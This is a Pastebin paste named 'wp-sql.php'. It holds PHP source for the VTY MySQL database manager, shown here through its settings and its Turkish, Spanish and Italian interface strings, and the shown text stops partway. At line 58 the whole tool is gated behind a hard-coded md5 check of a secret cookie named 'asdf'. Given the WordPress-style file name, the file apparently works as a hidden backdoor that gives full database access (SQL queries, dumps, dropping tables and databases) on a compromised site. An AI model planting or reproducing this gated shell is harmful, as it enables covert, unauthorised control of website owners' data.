API tools faq
paste
PalmaSolutions

wp-sql.php

PalmaSolutions
Jan 12th, 2018
1,076
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 152.36 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2.  
  3. /*
  4.  
  5. VTY - Database Manager For Mysql
  6. ............................................................................
  7. : Version : 1.6 (18.04.2007) :
  8. : Language : English, Turkce, Italian, Spanish :
  9. : URL : http://www.kutukutu.com/vty/ :
  10. : Mail : [email protected] :
  11. : Developer : zall ([email protected]) :
  12. : :
  13. : :
  14. :...........................................................................
  15.  
  16.  
  17. LICENSE
  18. ............................................................................
  19. : GNU General Public License (GPL) :
  20. : http://www.kutukutu.com/vty/license.txt :
  21. : :
  22. : :
  23. :...........................................................................
  24.  
  25.  
  26. INSTALL
  27. ............................................................................
  28. : Only enter the correct connection informations below. :
  29. : :
  30. : :
  31. :...........................................................................
  32.  
  33. */
  34.  
  35. $ayar['LoginType'] = 'login';
  36. // "config" - Connect to server with connection information in this page.
  37. // "config_or_login" - Connect to server connection information in this page or with login screen.
  38. // "login" - Connect to server with only login screen.
  39.  
  40. $ayar['dbuser'] = ''; // YOUR MYSQL USER NAME
  41. $ayar['dbpass'] = ''; // YOUR MYSQL PASSWORD
  42. $ayar['dbhost'] = 'localhost'; // host name to connect to database server
  43.  
  44.  
  45. $ayar['dbname'] = ''; // Want to you only one database. Write its name or keep empry.
  46. $ayar['DefaultLang'] = 'en'; // default language like en,de,tr
  47. $ayar['db_type'] = 'mysql'; // "mysql";
  48. $ayar['PerPage'] = 25; // number of rows to show per page.
  49. $ayar['DbSecimi'] = 1; // is there "Choose Database"? 1 for true, 0 for false; -> default : 1
  50. $ayar['NfGoster'] = 1; // ( 1 to Show, 0 to hide ) numrows and numfields for tables; -> default : 1
  51. $ayar['NtGoster'] = 1; // ( 1 to Show, 0 to hide ) table number for databases; -> default : 1
  52.  
  53.  
  54.  
  55. ?>
  56. <?php
  57.  
  58. if(md5($_COOKIE['asdf'])=="4e6cc644ed5c0d1e946b468c33b29932"){
  59.  
  60. $vty = new vty($ayar);
  61.  
  62. $vty->baglan();
  63.  
  64. if($vty->baglanti==0):
  65. $vty->ust();
  66. $vty->girisForm();
  67. else:
  68. $vty->linkler();
  69. if($vty->ne=='' or $vty->ne == 'duzelt'){
  70. $vty->ust();
  71. $vty->db_secimi();
  72. if(!empty($vty->dbname) and !empty($vty->tablename)){
  73. $tablo = new tablo($vty);
  74. $tablo->asil_tablo();
  75. }else{
  76. $vty->db_seciniz_linkler();
  77. }
  78. }elseif($vty->ne=='sectim'){
  79. $vty->ust();
  80. $sct = new sectim($vty);
  81. if($sct->sdsduzelt<>''){
  82. $sct->_duzelt();
  83. } elseif($vty->nebu == "duzeltiyorum" ){
  84. $sct->_duzeltiyorum();
  85. }elseif($sct->sdssil<>''){
  86. $sct->_hepsiniSil();
  87. } elseif($vty->nebu == "bunlariduzelt" ){
  88. $sct->_bunlariDuzelt();
  89. }
  90. }else{
  91. $isl = new islemler($vty);
  92. switch($vty->ne):
  93.  
  94. case 'sesscikis':
  95. $isl->sesscikis();
  96. break;
  97.  
  98. case 'sqlgoster':
  99. $vty->ust();
  100. $isl->SqlGoster();
  101. $vty->tabloSonu();
  102. break;
  103.  
  104. case 'sqldosyadan':
  105. $isl->SqlDosyadan();
  106. break;
  107.  
  108. case 'dumpet':
  109. if($vty->nebu=='sim'){
  110. $isl->DumpEtSimdi();
  111. }else{
  112. $isl->DumpEt();
  113. }
  114. break;
  115.  
  116. case 'satirgir':
  117. $isl->satirgir();
  118. break;
  119.  
  120. case 'satirgir_yap':
  121. $isl->satirgir_yap();
  122. break;
  123.  
  124. case 'yeniTbEkle':
  125. $vty->ust();
  126. $isl->YeniTableEkle();
  127. break;
  128.  
  129. case 'yenitbekliyorum':
  130. if($vty->gp('fieldsayisi')){
  131. $vty->ust();
  132. $isl->YeniTableEkliyorum();
  133. }else{
  134. $vty->HataGoster("Empty Form!");
  135. }
  136. break;
  137. case 'yeniDbEkle':
  138. $isl->YeniDatabaseEkle();
  139. break;
  140. case 'yeniDbEkliyorum':
  141. $isl->YeniDatabaseEkliyorum();
  142. break;
  143. case 'dbSil':
  144. $isl->DatabaseSil();
  145. break;
  146. case 'tablo_bosalt':
  147. $isl->tablo_bosalt();
  148. break;
  149. case 'tablo_kaldir':
  150. $isl->tablo_kaldir();
  151. break;
  152. case 'lang':
  153. $isl->Language($vty->gp('fDilSubmit'));
  154. break;
  155. case 'docs':
  156. $vty->ust();
  157. $vty->tabloBasi3();
  158. $docs = new Docs($vty);
  159. $vty->tabloSonu();
  160. break;
  161. endswitch;
  162. }
  163. endif;
  164.  
  165. $vty->BitimIslemleri();
  166. exit;
  167. }
  168. ?>
  169. <?php
  170.  
  171. /**
  172. * class dug
  173. *
  174. * This class includes the language informations and the display informations
  175. */
  176. class dug
  177. {
  178. var $dil;
  179. var $uy;
  180. var $gor;
  181. var $dl;
  182. var $diller;
  183.  
  184. function dug($dl='en'){
  185. $this->dl = $dl;
  186. $this->dil();
  187. $this->gor();
  188. }
  189.  
  190. /**
  191. * gor()
  192. *
  193. * The color and size informations used in table and fonts ex.
  194. *
  195. */
  196. function gor(){
  197. $gor['table_width'] = '100%'; // $table_width width for <table>; -> default : '600'
  198. $gor['table_height'] = null; // $table_width width for <table>; -> default : '600'
  199. $gor['koyu_bgcolor'] = '#e9e9e9'; // bgcolor for menu ; -> default : '#eeeeee'
  200. $gor['enust_bgcolor'] = '#f0f0f0'; // bgcolor for menu ; -> default : '#f0f0f0'
  201. $gor['enalt_bgcolor'] = '#f8f8f8'; // bgcolor for menu ; -> sub tables : '#f7f7f7'
  202. $gor['ust_bgcolor'] = '#eeeeff'; // bgcolor for top; -> default : '#eeeeff'
  203. $gor['alt_bgcolor'] = '#f2f2f2'; // bgcolor for bottom; -> default : '#f9f9f9'
  204. $gor['bgcolor2'] = '#f6f6f6'; // bgcolor; -> default : '#f6f6f6'
  205. $gor['bgcolor3'] = '#f9f9f9'; // bgcolor; -> default : '#f9f9f9'
  206. $gor['ikirenklicolor1'] = '#f5f5f5'; // bgcolor for rows 1; -> default : '#f0f0f0'
  207. $gor['ikirenklicolor2'] = '#f9f9f9'; // bgcolor for rows 2; -> default : '#f7f7f7'
  208. $gor['cellspacing'] = '1'; // cellspacing for all tables; -> default : '1'
  209. $gor['cellpadding'] = '1'; // cellpading for all tables; -> default : '1'
  210. $gor['border'] = '0'; // border for all tabels; -> dafault : '0'
  211. $gor['input_size'] = '10'; // size for text input tags; -> dafault : '10'
  212. $gor['asilTbSagYan'] = '110';
  213. $gor['asilTbSolYan'] = '90';
  214. $gor['StrlenMax'] = '50'; // max chars for shorter view; -> dafault : '50'
  215. $this->gor = $gor;
  216. }
  217.  
  218. /**
  219. * diller()
  220. *
  221. * List of languages that vty support
  222. *
  223. */
  224. function diller(){
  225. return array(
  226. 'en' => 'English',
  227. 'tr' => 'T�rk�e',
  228. 'it' => 'Italiano',
  229. 'es' => 'Espa�ol'
  230. );
  231. }
  232.  
  233. /**
  234. * dil()
  235. *
  236. * Words that used in Vty interface, in languages listed diller() function.
  237. *
  238. */
  239. function dil(){
  240. if($this->dl=='tr'){
  241.  
  242. /**
  243. * T�rk�e
  244. */
  245. $dil['Charset'] = 'iso-8859-9'; //iso-8859-1
  246. $dil['dil'] = 'Dil'; //Language
  247. $dil['Duzelt'] = 'D�zelt'; //"Edit"
  248. $dil['Sil'] = 'Sil'; //"Delete"
  249. $dil['Kaydet'] = 'Kaydet'; //"Save"
  250. $dil['Gonder'] = 'G�nder'; //"Send"
  251. $dil['Reset'] = 'Temizle'; //"Reset"
  252. $dil['Tamam'] = 'Tamam'; //"OK"
  253. $dil['Uygula'] = 'Uygula'; //"Apply"
  254. $dil['Iptal'] = '�ptal'; //"Cancel"
  255. $dil['Yukari'] = 'Yukar�'; //"Up Level"
  256. $dil['Satir'] = 'Sat�r'; //"Line"
  257. $dil['Hata'] = 'Hata'; //"Error"
  258. $dil['HataAcklm'] = 'Hata a��klamas�'; //"Error desciription"
  259. $dil['MysqlHata'] = 'Mysql Hatas�'; //"Error desciription"
  260. $dil['Cevap'] = 'Cevap'; //"Answer"
  261. $dil['Evet'] = 'Evet'; //"Yes"
  262. $dil['Hayir'] = 'Hay�r'; //"No"
  263. $dil['Ekle'] = 'Ekle'; //"Add"
  264. $dil['Olustur'] = 'Olu�tur'; //"Create"
  265. $dil['Devam'] = 'Devam'; //"Next"
  266. $dil['Geri'] = 'Geri'; //"Back"
  267. $dil['Seciniz'] = 'Se�iniz'; //"Choose"
  268. $dil['YeniTbAdi'] = 'Yeni tablo ad�'; //"New table name"
  269. $dil['DbEkle'] = 'CREATE DATABASE'; //"CREATE DATABASE"
  270. $dil['TbEkle'] = 'CREATE TABLE'; //"CREATE TABLE"
  271. $dil['DbSil'] = 'DROP this DATABASE'; //"DROP this DATABASE"
  272. $dil['Gelistir'] = 'Geli�tir'; //"Develop"
  273. $dil['Ayarlar'] = 'Ayarlar'; //"Options"
  274. $dil['Yardim'] = 'Yard�m'; //"Help"
  275. $dil['VtYonet'] = 'MySQL i�in '.
  276. 'veritaban� y�neticisi'; //"Database manager for MySQL"
  277. $dil['Vt'] = 'Veritaban�'; //"Database"
  278. $dil['Dosyadan'] = 'Dosyadan'; //"From File"
  279. $dil['Tablo'] = 'Tablo'; //"Table"
  280. $dil['VtSeciniz'] = 'Ba�lamak i�in bir '.
  281. 'veritaban� se�iniz'; //"Choose a Database to Start"
  282. $dil['TbSeciniz'] = 'Tablo se�iniz'; //"Choose a Table"
  283. $dil['SayfaYnl'] = 'Sayfay� Yenile'; //"Refresh"
  284. $dil['Sorgu'] = 'Sorgu'; //"Query"
  285. $dil['Sql'] = 'Sql Sorgusu'; //"Sql Query"
  286. $dil['SqlSonucu'] = 'Sql Sonucu'; //"Sql Results"
  287. $dil['Buyut'] = 'B�y�t'; //"&lt; Longer &gt;"
  288. $dil['Uzat'] = '&lt; Uzat &gt;'; //"&lt; Longer &gt;"
  289. $dil['Kisalt'] = '&gt; K�salt &lt;'; //"&gt; Shorter &lt;"
  290. $dil['Hep'] = 'Hep'; //"All"
  291. $dil['Hic'] = 'Hi�'; //"None"
  292. $dil['EnAlt'] = 'En Alt'; //"Bottom"
  293. $dil['EnUst'] = 'En �st'; //"Top"
  294. $dil['VtAdi'] = 'Veritaban�Ad�'; //"DatabaseName"
  295. $dil['TbAdi'] = 'TabloAd�'; //"TableName"
  296. $dil['SutunSys'] = 'S�tun Say�s�'; //"Field Number"
  297. $dil['TbBosalt'] = 'Bu tabloyu bo�alt'; //"EMPTY this TABLE"
  298. $dil['TbKaldir'] = 'Bu tabloyu kald�r'; //"DROP this TABLE"
  299. $dil['DumpTables'] = 'D�k�m Olu�tur'; //"DUMP"
  300. $dil['SatirEkle'] = 'Yeni Sat�r Ekle'; //"Add New Row"
  301. $dil['SatirDzlt'] = 'Sat�rlar� D�zelt'; //"Edit Rows"
  302. $dil['DbHost'] = 'Host'; //"Host Name"
  303. $dil['DbKullAdi'] = 'Kullan�c� Ad�'; //"User Name"
  304. $dil['DbSifre'] = '�ifre'; //"Password"
  305. $dil['SessCikis'] = '��k��'; //"Session Log Out"
  306. $dil['db_type'] = 'Veritaban�'; //"Server Type"
  307. $dil['GrsHts'] = 'Ba�lant� Hatas�'; //"Connection Error"
  308. $dil['sayfalar'] = 'Sayfalar'; //"Pages"
  309. $dil['sayfa'] = 'Sayfa'; //"Page"
  310. $dil['SayfaBasi'] = 'Sayfa Ba��'; //"Rows per page"
  311. $dil['Yeni'] = 'Yeni'; //"New"
  312. $dil['AnaMenu'] = 'Ana Sayfa'; //"Main Menu"
  313. $dil['WellComeToVty'] = "VTY'ye Ho� Geldiniz"; //"Wellcome to Vty"
  314. $dil['About'] = "Hakk�nda"; //"about"
  315. $dil['Bugs'] = "Hatalar"; //"Bugs"
  316. $dil['DumpTable'] = 'Dump Table'; //"Dump Table"
  317. $dil['DumpBoth'] = '"Insert Into" ve "Create Table" bilgilerini dump et'; //Both of "Insert Into" and "Create Table"
  318. $dil['DumpCreateOnly'] = 'sadece "Create Table" bilgisi'; //"Create Table" info only
  319. $dil['DumpInsertOnly'] = '"Insert Into" bilgisi'; //"Insert Into" info only
  320. $dil['SaveAsFile'] = "Dosya olarak kaydet"; //"Save as file"
  321. $dil['DumpSubmit'] = "�imdi Dump Et"; //"Dump Now"
  322.  
  323. $uy['EminmisinCikis'] = "Oturumunuzu kapat�p ��kmak istedi�inizden emin misiniz?\\n";
  324. $uy['EminmisinSil'] = "Se�ti�iniz sat�r� silmek istedi�inizden emin misiniz?\\n";
  325. $uy['EminmisinBosalt'] = "Se�ti�iniz sat�r� bo�altmak istedi�inizden emin misiniz?";
  326. $uy['EminmisinKaldir'] = "Se�ti�iniz sat�r� kald�rmak istedi�inizden emin misiniz?";
  327. $uy['EminmisinDbSil'] = 'Emin misiniz?\\nSe�ti�iniz veritaban�n� kald�rmak istiyor musunuz?';
  328. $uy['KomutCalistirildi'] = 'Sorgu �al��t�r�ld�';
  329. $uy['KacSatirEtkilendi'] = 'sat�r etkilendi';
  330. $uy['loginBilgi'] = 'Database serverina ba�lanmak i�in kullan�c� ad�n�z� ve �ifresinizi giriniz. (Cookie abanl�.)';
  331. $uy['destekYok'] = 'Php ayarlar�n�z @DbType@ ile ilgili fonksiyonlar� desteklememektedir.';
  332. $uy['YeniDbOldu'] = '`@NewDbName@` veritaban� olu�turuldu.';
  333. $uy['YeniDbHata'] = 'Yeni `@NewDbName@` veritaban� olu�turulurken hata oldu.';
  334. $uy['YeniTbOldu'] = '`@NewTbName@` tablosu olu�turuldu.';
  335. $uy['YeniTbHata'] = 'Yeni `@NewTbName@` tablosu olu�turulurken hata oldu.';
  336. $uy['DbSilEminmi'] = 'Emin misiniz? `@DbName@` veritaban�n� kald�rmak istiyor musunuz?';
  337. $uy['DbSilHata'] = '`@DbName@` veritaban�n� kald�r�l�rken hata olu�tu.';
  338. $uy['DbSilOldu'] = '`@DbName@` veritaban� kald�r�ld�.';
  339. $uy['YeniSatirOldu'] = 'Yeni sat�r eklendi.';
  340. $uy['YeniSatirHata'] = 'Yeni sat�r eklerken hata olu�tu.';
  341. $uy['SatirlarDuzeldi'] = 'Se�ti�iniz sat�rlar d�zeltildi.';
  342. $uy['SatirlarDuzeltHata']= 'Se�ti�iniz sat�rlar d�zeltilirken hata olu�tu.';
  343. $uy['SatirDuzeldi'] = 'Se�ti�iniz sat�r d�zeltildi.';
  344. $uy['SatirDuzelHata'] = 'Se�ti�iniz sat�r d�zeltilirken hata olu�tu.';
  345. $uy['SatirSilindi'] = 'Se�ti�iniz sat�r silindi.';
  346. $uy['SatirSilHata'] = 'Se�ti�iniz sat�r silinirken hata olu�tu.';
  347. $uy['SatirNSilindi'] = 'Se�ti�iniz @number@ sat�r silindi.';
  348. $uy['SatirSilNHata'] = 'Se�ti�iniz sat�rlardan @number@ tanesi silinirken hata olustu.';
  349. $uy['OturumKapa'] = 'Oturum kapat�ld�.';
  350. $uy['OturumKaHata'] = 'Oturum kapat�l�rken hata olu�tu.';
  351. $uy['ToplamSatir'] = 'Sat�r Say�s�: @number@';
  352. $uy['SatirYok'] = 'Tabloda hi� sat�r yok.';
  353. $uy['BosaltEmin'] = '@DbTable@ tablosunu bo�altmak istedi�inizden istiyor musunuz?';
  354. $uy['BosaltOldu'] = '@DbTable@ tablosu bo�alt�ld�.';
  355. $uy['BosaltHata'] = '@DbTable@ tablosu bo�alt�l�rken hata olu�tu.';
  356. $uy['KaldirEmin'] = '@DbTable@ tablosunu kald�rmak istedi�inizden emin misiniz?';
  357. $uy['KaldirOldu'] = '@DbTable@ tablosu kald�r�ld�.';
  358. $uy['KaldirHata'] = '@DbTable@ tablosu kald�r�l�rken hata olu�tu.';
  359. $uy['YeniDilSec'] = 'Select your new language';
  360. $uy['CookieError'] = 'Taray�c�n�z �erezleri (cookie) kabul etmemektedir. L�tfen taray�c�n�z ayarlar�n� de�i�tiriniz.';
  361. $uy['CookieErrorBas'] = 'Cookie Hatas�';
  362.  
  363. }elseif($this->dl=='es'){
  364. /**
  365. * Espa�ol
  366. */
  367.  
  368. /// <TRANSLATE_HERE>
  369. $dil['Charset'] = 'iso-8859-1'; //iso-8859-1
  370. $dil['dil'] = 'Idioma'; //Language
  371. $dil['Duzelt'] = 'Editar'; //"Edit"
  372. $dil['Sil'] = 'Suprimir'; //"Delete"
  373. $dil['Kaydet'] = 'Guardar'; //"Save"
  374. $dil['Gonder'] = 'Enviar'; //"Send"
  375. $dil['Reset'] = 'Borrar'; //"Reset"
  376. $dil['Tamam'] = 'Aceptar'; //"OK"
  377. $dil['Uygula'] = 'Aplicar'; //"Apply"
  378. $dil['Iptal'] = 'Cancelar'; //"Cancel"
  379. $dil['Yukari'] = 'Nivel anterior'; //"Up Level"
  380. $dil['Satir'] = 'Linea'; //"Line"
  381. $dil['Hata'] = 'Error'; //"Error"
  382. $dil['HataAcklm'] = 'Error en Descripci�n'; //"Error desciription"
  383. $dil['MysqlHata'] = 'Mysql Error'; //"Mysql Error"
  384. $dil['Cevap'] = 'Respuesta'; //"Answer"
  385. $dil['Evet'] = 'Si'; //"Yes"
  386. $dil['Hayir'] = 'No'; //"No"
  387. $dil['Ekle'] = 'A�adir'; //"Add"
  388. $dil['Olustur'] = 'Crear'; //"Create"
  389. $dil['Devam'] = 'Siguiente'; //"Next"
  390. $dil['Geri'] = 'Atras'; //"Back"
  391. $dil['Seciniz'] = 'Seleccionar'; //"Choose"
  392. $dil['YeniTbAdi'] = 'Nombre Nueva Tabla'; //"New table name"
  393. $dil['DbEkle'] = 'Crear Base de Datos'; //"CREATE DATABASE"
  394. $dil['TbEkle'] = 'Crear Tabla'; //"CREATE TABLE"
  395. $dil['DbSil'] = 'Suprimir Base de Datos'; //"DROP this DATABASE"
  396. $dil['Gelistir'] = 'Desarrollar'; //"Develop"
  397. $dil['Ayarlar'] = 'Opciones'; //"Options"
  398. $dil['Yardim'] = 'Ayuda'; //"Help"
  399. $dil['VtYonet'] = 'Administrador de Bases de Datos MySQL'; //"Database manager for MySQL"
  400. $dil['Vt'] = 'Base de Datos'; //"Database"
  401. $dil['Dosyadan'] = 'Del Archivo'; //"From File"
  402. $dil['Tablo'] = 'Tabla'; //"Table"
  403. $dil['VtSeciniz'] = 'Seleccionar Base de Datos '; //"Choose a Database to Start"
  404. $dil['TbSeciniz'] = 'Seleccionar Tabla'; //"Choose a Table"
  405. $dil['SayfaYnl'] = 'Actualizar'; //"Refresh"
  406. $dil['Sorgu'] = 'Interrogaci�n'; //"Query"
  407. $dil['Sql'] = 'Interrogaci�n SQL'; //"Sql Query"
  408. $dil['SqlSonucu'] = 'Resultados SQL'; //"Sql Results"
  409. $dil['Buyut'] = 'Ampliar'; //"Larger"
  410. $dil['Uzat'] = '&lt; Mas Largo &gt;'; //"&lt; Longer &gt;"
  411. $dil['Kisalt'] = '&gt; Mas Corto &lt;'; //"&gt; Shorter &lt;"
  412. $dil['Hep'] = 'Todos'; //"All"
  413. $dil['Hic'] = 'Ninguno'; //"None"
  414. $dil['EnAlt'] = 'Abajo'; //"Bottom"
  415. $dil['EnUst'] = 'Arriba'; //"Top"
  416. $dil['VtAdi'] = 'Nombre de la Base de Datos'; //"DatabaseName"
  417. $dil['TbAdi'] = 'Nombre de la Tabla'; //"TableName"
  418. $dil['SutunSys'] = 'Numero de Campos'; //"Field Number"
  419. $dil['TbBosalt'] = 'Vaciar Tabla'; //"EMPTY this TABLE"
  420. $dil['TbKaldir'] = 'Suprimir Tabla'; //"DROP this TABLE"
  421. $dil['DumpTables'] = 'Visualizar Tabla'; //"DUMP"
  422. $dil['SatirEkle'] = 'A�adir Nueva Fila'; //"Add New Row"
  423. $dil['SatirDzlt'] = 'Editar Fila'; //"Edit Rows"
  424. $dil['DbHost'] = 'Nombre del Host'; //"Host Name"
  425. $dil['DbKullAdi'] = 'Nombre del Usuario'; //"User Name"
  426. $dil['DbSifre'] = 'Contrase�a'; //"Password"
  427. $dil['SessCikis'] = 'Desconectar'; //"Session Log Out"
  428. $dil['db_type'] = 'Tipo de Servidor'; //"Server Type"
  429. $dil['GrsHts'] = 'Error de Conexi�n'; //"Connection Error"
  430. $dil['sayfalar'] = 'P�ginas'; //"Pages"
  431. $dil['sayfa'] = 'P�gina'; //"Pages"
  432. $dil['SayfaBasi'] = 'Filas por p�gina'; //"Rows per page"
  433. $dil['Yeni'] = 'Nuevo'; //"New"
  434. $dil['AnaMenu'] = 'Menu Principal'; //"Main Menu"
  435. $dil['WellComeToVty'] = 'Bienvenido a Vty'; //"Wellcome to Vty"
  436. $dil['About'] = "Acerca de "; //"about"
  437. $dil['Bugs'] = "Errores"; //"Bugs"
  438. $dil['DumpTable'] = 'Visualizar Tabla'; //"Dump Table"
  439. $dil['DumpBoth'] = 'Ambos "Insertar en" y "Crear Tabla"'; //Both of "Insert Into" and "Create Table"
  440. $dil['DumpCreateOnly'] = '"Crear Tabla" solo info'; //"Create Table" info only
  441. $dil['DumpInsertOnly'] = '"Insertar en" solo info'; //"Insert Into" info only
  442. $dil['SaveAsFile'] = "Guardar como"; //"Save as file"
  443. $dil['DumpSubmit'] = "Visualizar ahora"; //"Dump Now"
  444.  
  445. $uy['EminmisinCikis'] = '�Esta seguro?\\n�Desea finalizar y salir?\\n';
  446. $uy['EminmisinSil'] = '�Esta seguro?\\n�Desea Suprimir el Registro Seleccionado?\\n';
  447. $uy['EminmisinBosalt'] = '�Esta seguro?\\n�Desea Vaciar la Tabla Seleccionada?\\n';
  448. $uy['EminmisinKaldir'] = '�Esta seguro?\\n�Desea Suprimir la Tabla Seleccionada?';
  449. $uy['EminmisinDbSil'] = '�Esta seguro?\\n�Desea Suprimir la Base de Datos Seleccionada?\\n';
  450. $uy['KomutCalistirildi'] = 'Interrogaci�n OK';
  451. $uy['KacSatirEtkilendi'] = 'filas seleccionadas';
  452. $uy['loginBilgi'] = 'Por favor Teclee su Nombre y Contrase�a para conectar. (Basado en Cookies)';
  453. $uy['destekYok'] = 'La configuraci�n PHP no soporta funciones @DbType@.';
  454. $uy['YeniDbOldu'] = 'La Base de Datos `@NewDbName@` ha sido Creada.';
  455. $uy['YeniDbHata'] = 'Ha occurrido un error al Crear la Base de Datos `@NewDbName@`.';
  456. $uy['YeniTbOldu'] = 'La Tabla `@NewTbName@` ha sido Creada.';
  457. $uy['YeniTbHata'] = 'Ha ocurrido un error al Crear la Tabla `@NewTbName@`.';
  458. $uy['DbSilEminmi'] = '�Esta seguro? �Desea Suprimir la Base de Datos `@DbName@`?';
  459. $uy['DbSilOldu'] = 'La Base de Datos `@DbName@` ha sido Suprimida.';
  460. $uy['DbSilHata'] = 'Ha ocurrido un error la Suprimir la Base de Datos `@DbName@`';
  461. $uy['YeniSatirOldu'] = 'Nuevo Registro A�adido.';
  462. $uy['YeniSatirHata'] = 'Ha ocurrido un error al A�adir un Registro.';
  463. $uy['SatirDuzeldi'] = 'El Registro seleccionado ha sido Actualizado.';
  464. $uy['SatirDuzelHata'] = 'Ha ocuurido un error al Actualizar el Registro.';
  465. $uy['SatirlarDuzeldi'] = 'Los Registros seleccionados han sido Actualizados.';
  466. $uy['SatirSilindi'] = 'El Registro seleccionado a sido Suprimido.';
  467. $uy['SatirSilHata'] = 'Ha ocurrido un error al Suprimir el Registro.';
  468. $uy['SatirNSilindi'] = '@number@ Registros seleccionados han sido Suprimidos.';
  469. $uy['SatirSilNHata'] = 'Ha ocurrido un error al Suprimir @number@ Registros seleccionados.';
  470. $uy['OturumKapa'] = 'Sesi�n cerrada';
  471. $uy['OturumKaHata'] = 'Ha ocurrido un error al cerrar la sesi�n.';
  472. $uy['ToplamSatir'] = 'NumReg: @number@';
  473. $uy['SatirYok'] = 'No hay Registros en la Tabla.';
  474. $uy['BosaltEmin'] = '�Desea Vaciar la Tabla @DbTable@?';
  475. $uy['BosaltOldu'] = 'Tabla @DbTable@ Vaciada.';
  476. $uy['BosaltHata'] = 'Ha ocurrido un error la Vaciar la Tabla @DbTable@.';
  477. $uy['KaldirEmin'] = '�Desea Suprimir la Tabla @DbTable@?';
  478. $uy['KaldirOldu'] = 'Tabla @DbTable@ Suprimida.';
  479. $uy['KaldirHata'] = 'Ha ocurrido un error al Suprimir la Tabla @DbTable@.';
  480. $uy['YeniDilSec'] = 'Selecione un nuevo idioma.';
  481. $uy['CookieError'] = 'El explorador no acepta cookies. Por favor activelas para continuar.';
  482. $uy['CookieErrorBas'] = 'Error en Cookies';
  483. /// <TRANSLATE_HERE END>
  484. }elseif($this->dl=='it'){
  485.  
  486. /**
  487. * italian
  488. */
  489. /// <TRANSLATE_HERE>
  490. $dil['Charset'] = 'iso-8859-1'; //iso-8859-1
  491. $dil['dil'] = 'Lingua'; //Language
  492. $dil['Duzelt'] = 'Modifica'; //"Edit"
  493. $dil['Sil'] = 'Cancella'; //"Delete"
  494. $dil['Kaydet'] = 'Salva'; //"Save"
  495. $dil['Gonder'] = 'Invia'; //"Send"
  496. $dil['Reset'] = 'Reset'; //"Reset"
  497. $dil['Tamam'] = 'Ok'; //"OK"
  498. $dil['Uygula'] = 'Applica'; //"Apply"
  499. $dil['Iptal'] = 'Cancella'; //"Cancel"
  500. $dil['Yukari'] = 'Livello superiore'; //"Up Level"
  501. $dil['Satir'] = 'Linea'; //"Line"
  502. $dil['Hata'] = 'Errore'; //"Error"
  503. $dil['HataAcklm'] = "Descrizione dell'errore"; //"Error desciription"
  504. $dil['MysqlHata'] = 'Mysql Error'; //"Mysql Error"
  505. $dil['Cevap'] = 'Risposta'; //"Answer"
  506. $dil['Evet'] = 'Si'; //"Yes"
  507. $dil['Hayir'] = 'No'; //"No"
  508. $dil['Ekle'] = 'Aggiungi'; //"Add"
  509. $dil['Olustur'] = 'Crea'; //"Create"
  510. $dil['Devam'] = 'Successivo'; //"Next"
  511. $dil['Geri'] = 'Indietro'; //"Back"
  512. $dil['Seciniz'] = 'Scegli'; //"Choose"
  513. $dil['YeniTbAdi'] = 'Nome della nuova tabella'; //"New table name"
  514. $dil['DbEkle'] = 'CREA DATABASE'; //"CREATE DATABASE"
  515. $dil['TbEkle'] = 'CREA TABELLA'; //"CREATE TABLE"
  516. $dil['DbSil'] = 'ELIMINA DATABASE'; //"DROP this DATABASE"
  517. $dil['Gelistir'] = 'Sviluppo'; //"Develop"
  518. $dil['Ayarlar'] = 'Opzioni'; //"Options"
  519. $dil['Yardim'] = 'Aiuto'; //"Help"
  520. $dil['VtYonet'] = 'Database Manager per MySQL';//"Database manager for MySQL"
  521. $dil['Vt'] = 'Database'; //"Database"
  522. $dil['Dosyadan'] = 'Dal File'; //"From File"
  523. $dil['Tablo'] = 'Tabella'; //"Table"
  524. $dil['VtSeciniz'] = 'Scegli un Database '.
  525. 'per iniziare'; //"Choose a Database to Start"
  526. $dil['TbSeciniz'] = 'Scegli una Tabella'; //"Choose a Table"
  527. $dil['SayfaYnl'] = 'Ricarica'; //"Refresh"
  528. $dil['Sorgu'] = 'Query'; //"Query"
  529. $dil['Sql'] = 'Query Sql'; //"Sql Query"
  530. $dil['SqlSonucu'] = 'Risultati Sql'; //"Sql Results"
  531. $dil['Buyut'] = 'Esteso'; //"Larger"
  532. $dil['Uzat'] = '&lt; Esteso &gt;'; //"&lt; Longer &gt;"
  533. $dil['Kisalt'] = '&gt; Ridotto &lt;'; //"&gt; Shorter &lt;"
  534. $dil['Hep'] = 'Tutto'; //"All"
  535. $dil['Hic'] = 'Nulla'; //"None"
  536. $dil['EnAlt'] = 'Gi�'; //"Bottom"
  537. $dil['EnUst'] = 'Su'; //"Top"
  538. $dil['VtAdi'] = 'Nome del Database'; //"DatabaseName"
  539. $dil['TbAdi'] = 'Nome della Tabella'; //"TableName"
  540. $dil['SutunSys'] = 'Numero dei campi'; //"Field Number"
  541. $dil['TbBosalt'] = 'SVUOTA questa Tabella'; //"EMPTY this TABLE"
  542. $dil['TbKaldir'] = 'ELIMINA questa Tabella'; //"DROP this TABLE"
  543. $dil['DumpTables'] = 'Esporta Tabella'; //"DUMP"
  544. $dil['SatirEkle'] = 'Aggiungi una nuova Riga'; //"Add New Row"
  545. $dil['SatirDzlt'] = 'Modifica la Riga'; //"Edit Rows"
  546. $dil['DbHost'] = 'Nome Host'; //"Host Name"
  547. $dil['DbKullAdi'] = 'User Name'; //"User Name"
  548. $dil['DbSifre'] = 'Password'; //"Password"
  549. $dil['SessCikis'] = 'Log Out'; //"Session Log Out"
  550. $dil['db_type'] = 'Server Type'; //"Server Type"
  551. $dil['GrsHts'] = 'Errore di Connessione'; //"Connection Error"
  552. $dil['sayfalar'] = 'Pagine'; //"Pages"
  553. $dil['sayfa'] = 'Pagina'; //"Pages"
  554. $dil['SayfaBasi'] = 'Righe per pagina'; //"Rows per page"
  555. $dil['Yeni'] = 'Nuovo'; //"New"
  556. $dil['AnaMenu'] = 'Menu'; //"Main Menu"
  557. $dil['WellComeToVty'] = 'Benvenuto in Vty'; //"Wellcome to Vty"
  558. $dil['About'] = "A proposito"; //"about"
  559. $dil['Bugs'] = "Bugs"; //"Bugs"
  560. $dil['DumpTable'] = 'Esporta Tabella'; //"Dump Table"
  561. $dil['DumpBoth'] = 'Esporta con "Insert Into" e "Create Table"'; //Both of "Insert Into" and "Create Table"
  562. $dil['DumpCreateOnly'] = 'Esporta solo con "Create Table"'; //"Create Table" info only
  563. $dil['DumpInsertOnly'] = 'Esposta solo con "Insert Into"'; //"Insert Into" info only
  564. $dil['SaveAsFile'] = "Esporta in un file esterno."; //"Save as file"
  565. $dil['DumpSubmit'] = "Esporta"; //"Dump Now"
  566.  
